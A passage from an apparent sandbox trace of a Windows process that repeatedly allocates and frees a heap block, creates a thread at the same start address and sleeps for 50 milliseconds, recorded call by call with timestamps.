dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0084.370] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0084.370] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1404 [0084.370] Sleep (dwMilliseconds=0x32) [0084.463] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0084.463] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0084.463] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0084.463] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1424 [0084.464] Sleep (dwMilliseconds=0x32) [0084.558] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0084.558] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0084.558] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0084.558] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1444 [0084.559] Sleep (dwMilliseconds=0x32) [0084.651] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0084.651] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0084.651] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0084.651] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1464 [0084.652] Sleep (dwMilliseconds=0x32) [0084.745] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0084.746] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0084.746] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0084.746] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1484 [0084.746] Sleep (dwMilliseconds=0x32) [0084.838] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0084.838] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0084.838] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0084.838] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14a4 [0084.839] Sleep (dwMilliseconds=0x32) [0084.922] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0084.922] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0084.922] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0084.922] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c4 [0084.923] Sleep (dwMilliseconds=0x32) [0085.010] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0085.010] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0085.010] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0085.010] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14e4 [0085.010] Sleep (dwMilliseconds=0x32) [0085.154] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0085.154] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0085.154] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0085.155] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1504 [0085.155] Sleep (dwMilliseconds=0x32) [0085.245] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0085.245] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0085.246] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0085.246] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1524 [0085.246] Sleep (dwMilliseconds=0x32) [0085.338] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0085.338] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0085.338] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0085.338] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1544 [0085.339] Sleep (dwMilliseconds=0x32) [0085.419] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0085.419] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0085.419] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0085.419] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1564 [0085.420] Sleep (dwMilliseconds=0x32) [0085.508] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0085.508] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0085.509] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0085.509] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1584 [0085.509] Sleep (dwMilliseconds=0x32) [0085.602] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0085.602] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0085.602] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0085.602] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15a4 [0085.603] Sleep (dwMilliseconds=0x32) [0085.696] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0085.696] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0085.696] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0085.696] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15c4 [0085.697] Sleep (dwMilliseconds=0x32) [0085.789] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0085.789] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0085.789] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0085.789] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15e4 [0085.790] Sleep (dwMilliseconds=0x32) [0085.898] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0085.898] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0085.898] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0085.898] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1604 [0085.899] Sleep (dwMilliseconds=0x32) [0085.992] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0085.992] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0085.992] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0085.992] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1624 [0085.993] Sleep (dwMilliseconds=0x32) [0086.101] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0086.101] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0086.101] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0086.101] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1644 [0086.102] Sleep (dwMilliseconds=0x32) [0086.195] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0086.195] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0086.195] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0086.195] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1664 [0086.196] Sleep (dwMilliseconds=0x32) [0086.288] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0086.288] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0086.288] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0086.288] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1684 [0086.289] Sleep (dwMilliseconds=0x32) [0086.382] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0086.382] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0086.382] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0086.382] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16a4 [0086.383] Sleep (dwMilliseconds=0x32) [0086.475] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0086.475] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0086.476] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0086.476] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16c4 [0086.476] Sleep (dwMilliseconds=0x32) [0086.569] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0086.569] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0086.569] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0086.569] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16e4 [0086.570] Sleep (dwMilliseconds=0x32) [0086.663] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0086.663] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0086.663] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0086.663] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1704 [0086.664] Sleep (dwMilliseconds=0x32) [0086.760] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0086.760] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0086.760] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0086.760] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1724 [0086.761] Sleep (dwMilliseconds=0x32) [0086.861] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0086.861] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0086.861] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0086.861] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1744 [0086.861] Sleep (dwMilliseconds=0x32) [0086.966] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0086.966] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0086.966] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0086.966] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1764 [0086.966] Sleep (dwMilliseconds=0x32) [0087.287] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0087.287] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0087.287] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0087.287] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1780 [0087.287] Sleep (dwMilliseconds=0x32) [0087.381] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0087.381] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0087.381] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0087.381] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17a0 [0087.382] Sleep (dwMilliseconds=0x32) [0087.475] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0087.475] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0087.475] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0087.475] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17a8 [0087.477] Sleep (dwMilliseconds=0x32) [0087.568] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0087.568] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0087.568] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0087.568] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17b0 [0087.569] Sleep (dwMilliseconds=0x32) [0087.662] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0087.662] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0087.662] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0087.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17b8 [0087.663] Sleep (dwMilliseconds=0x32) [0087.755] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0087.755] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0087.756] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0087.756] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17c0 [0087.756] Sleep (dwMilliseconds=0x32) [0087.859] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0087.859] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0087.860] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0087.860] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17c8 [0087.860] Sleep (dwMilliseconds=0x32) [0087.958] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0087.958] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0087.958] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0087.958] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17d0 [0087.959] Sleep (dwMilliseconds=0x32) [0088.083] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0088.083] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0088.083] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0088.083] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17dc [0088.084] Sleep (dwMilliseconds=0x32) [0089.065] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0089.065] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0089.065] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0089.065] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x179c [0089.066] Sleep (dwMilliseconds=0x32) [0089.129] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0089.129] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0089.129] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0089.129] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17e4 [0089.130] Sleep (dwMilliseconds=0x32) [0089.440] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0089.440] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0089.440] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0089.440] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17ec [0089.440] Sleep (dwMilliseconds=0x32) [0089.513] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0089.513] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0089.514] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0089.514] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1818 [0089.514] Sleep (dwMilliseconds=0x32) [0089.643] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0089.643] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0089.643] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0089.643] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1830 [0089.644] Sleep (dwMilliseconds=0x32) [0089.798] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0089.798] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0089.799] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0089.799] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1998 [0089.799] Sleep (dwMilliseconds=0x32) [0089.934] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0089.934] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0089.934] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0089.934] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a0c [0089.935] Sleep (dwMilliseconds=0x32) [0089.999] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0089.999] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0089.999] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0089.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a28 [0090.000] Sleep (dwMilliseconds=0x32) [0090.071] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0090.071] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0090.071] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0090.071] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a48 [0090.072] Sleep (dwMilliseconds=0x32) [0090.159] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0090.160] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0090.160] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0090.160] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a68 [0090.160] Sleep (dwMilliseconds=0x32) [0090.254] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0090.254] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0090.254] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0090.255] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1814 [0090.255] Sleep (dwMilliseconds=0x32) [0090.563] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0090.563] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0090.563] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0090.563] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a78 [0090.564] Sleep (dwMilliseconds=0x32) [0090.659] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0090.659] 